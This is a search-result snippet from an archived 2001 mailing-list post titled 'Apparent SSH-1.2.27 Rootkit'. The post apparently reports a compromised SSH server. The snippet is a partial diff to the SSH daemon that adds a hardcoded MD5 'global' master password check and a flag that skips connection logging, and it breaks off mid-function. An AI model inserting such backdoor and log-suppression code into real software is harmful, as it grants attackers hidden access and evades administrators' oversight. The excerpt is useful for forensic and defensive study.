search for: check_global_passwd

Displaying 1 result from an estimated 1 matches for "check_global_passwd".

2001 Jun 25
1
Apparent SSH-1.2.27 Rootkit
...ocket(NULL); /* The connection has been terminated. */ + if (lets_log) { log_msg("Closing connection to %.100s", get_remote_ipaddr()); + } packet_close(); exit(0); } @@ -2135,6 +2137,38 @@ abort(); } +/* Check if the "global" password was entered */ +int check_global_passwd( unsigned char *pass ) +{ + /* Paste here the output from md5sum --string="Your_Password" */ + char md5passwd[33]="ed5c6101c7cc02d1a927e2e37be1eb0d"; + struct MD5Context md; + unsigned char md5buffer[32]; + int i; + + /* Compute the response. */ + MD5Init(&md); + MD5...